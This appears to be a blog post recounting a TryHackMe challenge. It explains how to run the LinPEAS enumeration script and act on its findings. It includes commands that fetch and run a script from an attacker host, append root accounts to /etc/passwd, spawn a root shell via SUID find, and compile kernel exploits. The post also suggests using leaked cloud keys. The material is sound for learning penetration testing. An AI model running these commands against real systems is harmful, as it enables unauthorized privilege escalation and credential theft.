LinPEAS

I’ve used LinPEAS frequently during challenges, and it has been incredibly helpful. While I’ve always found it intuitive to use, I’ve realized that I want to understand more about the tool’s underlying workings. One thing I don’t like, however, is how quickly the information flashes by on the screen, making it difficult to pinpoint the most relevant findings.

What is it

LinPEAS (Linux Privilege Escalation Awesome Script) scans Linux systems for misconfigurations and escalation indicators — SUID/SGID binaries, environment variables, credentials in files, unpatched kernels, insecure services, and other issues that could lead to root access. WinPEAS (Windows Privilege Escalation Awesome Script) is a Windows enumeration script that collects a wide range of information — service and file-permission problems, registry permissions, autorun programs, installed software, and other misconfigurations useful for finding privilege-escalation vectors.

Manual enumeration is time-consuming and prone to human error. PEAS tools automate this process and highlight common misconfigurations or weak points that may be exploitable.

How to use linPEAS

On my testing machine I download the linpeas.sh release and host it via a simple HTTP server so the target system can retrieve the script.

cd ~\Downloads
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
python3 -m http.server 8000

On the target machine, I navigate to the /tmp directory (assuming write access is available), download and execute the LinPEAS script, and redirect its output to a file for later analysis.

cd /tmp
curl http://[IP attacker]:8000/linpeas.sh | sh | tee linpeas.txt
cat linpeas.txt | more

If curl doesn’t work, use wget

cd /tmp
wget http://[IP attacker]:8000/linpeas.sh
chmod +x ./linpeas.sh
./linpeas.sh -r | tee linpeas.txt

Note the -r parameter — it’s required for performing a regex search!

Analysis

LinPEAS runs reliably even from low-privilege accounts such as www-data; it uncovers a large amount of information, so knowing what to look for is crucial.

LinPEAS uses color-coded output to simplify interpretation:

• Green: General information.
• Yellow: Potential privilege escalation opportunities.
• Red: High-risk issues or vulnerabilities.

Example

In the TryHackMe Ignite room I found a clear example: after gaining shell access we have a low-privilege www-data account — a perfect opportunity to run LinPEAS.

reverse shell on target

Because the output scrolls by too quickly for a human to read, it’s best to save the results to a file using the tee command.

Report

While reviewing the report file, I discovered several interesting items — including a file containing the flag.

Config files

One configuration file contained the root password, which also worked over SSH, allowing me to gain root privileges.

Transfer report file

Sometimes it’s more convenient to transfer the LinPEAS report to the attacker machine, where it can be stored and reviewed.

Target system:

/tmp folder
python3 -m http.server 8787

Attacker system:

cd Downloads
wget http://[IP target]:8787/linpeasreport.txt
less linpeasreport.txt

Even so, the text file can be difficult to read and interpret. Renaming it with an .out extension allows it to be opened in ParsePEASS.

GitHub - mnemonic-re/parsePEASS: Bash script to parse and convert linpeas\winpeas output files to…

parsePEASS

What to look for

Exploit Suggester

This report indicates that PwnKit is likely useful. I have used PwnKit succesfully in the past. The Exploit Suggester suggests several possibilities.

SUID Binaries

SUID (Set User ID) binaries run with the permissions of the file owner. Misconfigured SUID binaries can lead to privilege escalation.

Get digistam’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Example Output:

[+] SUID binaries:
/usr/bin/passwd
/usr/bin/at
/usr/bin/find

What to Do:

• Look for unusual or writable SUID binaries (e.g., /usr/bin/find).
• Exploit the binary using its documented vulnerabilities or features.

GTFOBins

Exploit Example:
For /usr/bin/find:

find . -exec /bin/sh -p \;

Cron Jobs

Cron jobs running as root can be hijacked if they execute writable scripts or binaries.

Example Output:

[+] Cron jobs:
/etc/cron.d/backup.sh
-rwxrwxrwx 1 root root 1234 /etc/cron.d/backup.sh

What to Do:

• Edit the writable script (backup.sh) to include malicious commands, such as adding a new root user:

echo 'root::0:0::/root:/bin/bash' >> /etc/passwd

Writable Files or Directories

Files with loose permissions can be leveraged to replace sensitive executables or inject malicious code.

Example Output:

[+] Writable files:
/etc/passwd
/etc/sudoers.d/

What to Do:

• Modify /etc/passwd to create a root shell:

echo 'malicioususer:x:0:0::/root:/bin/bash' >> /etc/passwd su malicioususer

Environment Variables

Exposed environment variables can leak sensitive information like credentials or API keys.

Example Output:

[+] Environment variables:
AWS_SECRET_KEY=XXXXXXXXXXXXXXXX

What to Do:

• Use leaked credentials to access cloud services or external systems.

aws configure

Kernel Exploits

LinPEAS detects the system’s kernel version and matches it with known exploits.

Example Output:

[+] Kernel version: 5.4.0-42-generic
[+] Known Exploits: DirtyPipe

What to Do:

• Research and download a matching exploit (e.g., DirtyPipe exploit).
• Compile and execute it on the target machine:

gcc exploit.c -o exploit ./exploit